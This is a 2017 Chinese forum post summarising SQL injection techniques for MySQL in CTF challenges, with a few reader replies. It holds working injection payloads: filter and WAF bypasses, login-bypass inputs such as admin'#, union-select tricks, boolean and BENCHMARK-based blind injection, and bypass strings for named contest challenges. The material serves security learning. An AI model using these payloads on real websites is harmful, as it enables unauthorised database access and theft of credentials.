[CTF知识] CTF比赛中SQL注入的一些经验总结

[复制链接]
查看11390 | 回复5 | 2017-6-21 01:53:03 | 显示全部楼层 |阅读模式
最近花了一点时间总结了各大平台中注入的trick,自己还是太菜了,多半都得看题解,就特此做了一个paper方便总结
### 简单的绕过
```
双写 selselectct
内联注释 /!**/
大小写  Select
编码
```

### 注释符

以下是Mysql中可以用到的单行注释符:

```
#  
-- -
;%00

```

![]( 2111.jpg )以下是Mysql中可以用到的多行注释符(mysql下需要闭合):

```
/*
`

```

![](http://olgkg6ct5.bkt.clouddn.com ... %B712312312.PNG)

### 判断当前库是否有字段名

对于CTF中的题,某些可以直接判断有无flag表1' or(flag)例如:全表![]( %E6%8D%95%E8%8E%B73.jpg )用or试一下![]( %E6%8D%95%E8%8E%B75.jpg )这里解释一下为什么or的结果为什么不全,说白了也就是atoi函数的特性

or(列名)其实是遍历字段名中的每个值然后选取那些不为false的内容,因为在mysql中'ssdd'字符串默认等于0等于false所以不显示,而'4ddf'这样的字符串默认等于4,也就是true也就会返回了

### limit下的字段数判断

众所周知where条件下的字段数可以用`order by`判断,而limit后可以利用 `1,into @,@` (@为字段数)判断字段数@为mysql临时变量,![]( 2115.jpg )原理请看[http://www.w3school.com.cn/sql/sql_select_into.asp](http://www.w3school.com.cn/sql/sql_select_into.asp)

### or条件下的回显

以前总是对`where id='1' or '1'='1'`和`where id='0' or '1'='1'`的回显一直不是很了解,所以今天搭建环境测试了一下,如下可见![]( 2114.jpg )所以猜测在or条件下前后如果都为真则返回所有结果,否则只返回条件为真的一方的值

### concat与concat_ws与group_concat

1.2 MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL
```
mysql> select concat('11','22',null);+------------------------+| concat('11','22',null) |+------------------------+| NULL |+------------------------+1 row in set (0.00 sec)
```

和concat不同的是, concat_ws函数在执行的时候,不会因为NULL值而返回NULL
```
mysql> select concat_ws(',','11','22',NULL);+-------------------------------+| concat_ws(',','11','22',NULL) |+-------------------------------+| 11,22 |+-------------------------------+1 row in set (0.00 sec)
```

### 盲注下的条件语句和时间函数

这是我前几天刷wechall碰到的题,例如一下注入语句

```
select * from test1 where id='$_GET[id]';

```

已知没有回显位,id=3和id=1返回结果不一样并且过滤了',空格,等等一堆关键词,不存在宽字节注入给个B师傅当时的payload

```
if(substr(flag,1,1)in(0x41),3,0)

```

写个脚本爆破之可得flag而基于时间的注入以前都是一直用的if(xxxxxx,1,sleep(2));最也发现了一个更好的函数`BENCHMARK`

```
IF(left(version(),1,1)=5, BENCHMARK(100000,SHA1('1')), 1)

```

BENCHMARK函数是指执行某函数的次数,次数多时能够达到与sleep函数相同的效果

### 逻辑操作符被过滤

先放一波like语法[http://www.runoob.com/mysql/mysql-like-clause.html](http://www.runoob.com/mysql/mysql-like-clause.html)

### 绕过'被过滤

hex编码

```
SELECT password FROM Users WHERE username = 0x61646D696E

```

char编码

```
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

```

html实体字符编码

```
SELECT FROM Users WHERE username = 'admin'

```

%2527

```
这里主要是因为绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以成功绕过过滤。

```

宽字节就不说了gbk编码在单引号前面加一个%df即可

### 表名等关键字被过滤

以information_schema.tables为例空格 `information_schema . tables`着重号 `information</em>schema.tables`特殊符 `/!informationschema.tables/`别名 `information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)`

### 表单认证绕过

这里选两题一题是实验吧的web分类第一题

```
"SELECT username FROM users WHERE username='$username' AND password='$password'"

```

这样的直接`username=admin'#`即可,或者`username='='&password='='`这样就能构造出

```
"SELECT username FROM users WHERE username=''='' AND password=''=''"

```

所以逻辑判断绕过第二题是iscc的简单注入,猜测大致后台语句如下,PS:后台密码是md5处理过的

```
$results = SELECT password FROM users WHERE username='$username'
if($results==$_GET[$password]){
    getflag();
}

```

这里可以构造`username=0' union select md5(1)#&password=1`

### Mysql字符编码利用技巧

传入的username=admin%c2,php的检测if ($username === 'admin')自然就可以绕过的,在mysql中可以正常查出username='admin'的结果,原理是Mysql在转换字符集的时候,将不完整的字符给忽略了。具体可参照P师傅文章[https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html](https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html)

### 隐式类型转换

这里先上几个图,自行体会精神![]( 2117.jpg )![]( 2116.jpg )这里为什么我们输入为什么name=0会导致返回数据呢?其实这里跟php弱类型有异曲同工之妙,mysql在比较一个整数和一个字符串也会强制把字符串转化为整数进行比较,并返回一个warning,所以这里

```
pupil
admin

```

都会被转换为0所以与0比较相等,那么我们进一步猜想那一个非0开头的字符串强制转化是什么呢![]( 2118.jpg )由此可见,与PHP一样,mysql也会把字符串强制转化为开头的数字,若开头是字母则强制转化为0,那我们怎么利用这一黑魔法呢,众所周知,mysql一般都是字符型注入,很少有数字型注入的,就像`where username='input'`这样,我们单纯的输入数字是会被转化成字符串的,就像这样![]( 2119.jpg )这时候我们就需要做一些操作来构造注入点了,比如利用算术运算符

```
+,-,*,/,%

```

又或者位操作符

```
&,|,^

```

下面我们以`+`为例进行演示![]( 2120.jpg )

### 过滤了&,|,*,/,=等逻辑处理字符

可以用in,exists,position..in,>,<,!,<>,like等操作符绕过这个链接有详细介绍[http://www.runoob.com/mysql/mysql-like-clause.html](http://www.runoob.com/mysql/mysql-like-clause.html)这里举一个例子,比如要使用sql盲注的话但是过滤了substr,mid,asccii,ord等函数可以使用一下语句

```
admin' AND password LIKE "p%" --

```

### 一点实战例子

#### 陕西省网络空间安全

过滤了

```
/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"

```

这里没有过滤^,所以可以绕过,payload

```
username=admin'^(ascii(mid((passwd)from(1)))>=10)^'1'='1

```

#### pwnhubcuit校赛

过滤了

```
/ |\*|#|,|union|like|sleep|regexp|left|right|strcmp|substr|=|limit|instr|b
enchmark|oct|\/|format|lpad|rpad|mod|insert|lower|bin|mid|hex|substring|or
d|and|field|file|ascii|char|—|\|&|".urldecode('%09')."|".urldecode("%0a").
"|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldeco
de('%20')."|".urldecode('%a0')."/i

```

这里过滤了&,|,*,=等符号和substring,mid可以使用in,exists,>,<,<>,比较运算符绕过,payload

```
'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))>0x{0})'

```

#### webhacking,kr

过滤了

```
union|and|||&|=|urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldeco
de('%20')."|".urldecode('%a0').|/**/|/i

```

这里这里if和substr都没被过滤,并且空格可以被%0a绕过,所以payload

```
%0aor%0aif(substr((select%0aflag%0afrom%0aprob13password),1,1)in("0x41"),1,0)

```

### 最后总结一下注入题(手工注入。。)的一般思路(大牛轻喷),对于一般注入首先要找到注入点,比如有很多参数的先确定哪个参数好注入,再尝试有无过滤或者过滤了那些字符,waf本身是否有问题导致直接可以大小写,双写,编码绕过的。当然一般ctf中的题注入如果有waf一般都是过滤不完全的,耐心点就可以找出payload,最后就是注意一下参数提交的方式,有时候一些题目get方式过滤的很严格然而post只是象征性的过滤一下,还有一些用$_REQUEST方式的注意除了get和post还可以尝试cookie注入。

点评

一脸懵逼  发表于 2017-6-28 10:24
回复

使用道具 举报

匿名 Vshows | 2017-6-21 23:19:02 | 显示全部楼层
赞一个!
回复

使用道具 举报

匿名 Huan_YI | 2017-6-28 10:25:34 | 显示全部楼层
整个人一脸懵逼...初学者,看不懂
回复

使用道具 举报

匿名 1134323536 | 2017-7-8 23:40:06 | 显示全部楼层
写的不错 可以再整洁一些就好了 新手可能看不懂
回复

使用道具 举报

匿名 圣乱X无心 | 2017-7-10 12:53:47 | 显示全部楼层
不错   就是太乱了   不容易看
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

匿名
pupil 该用户已被删除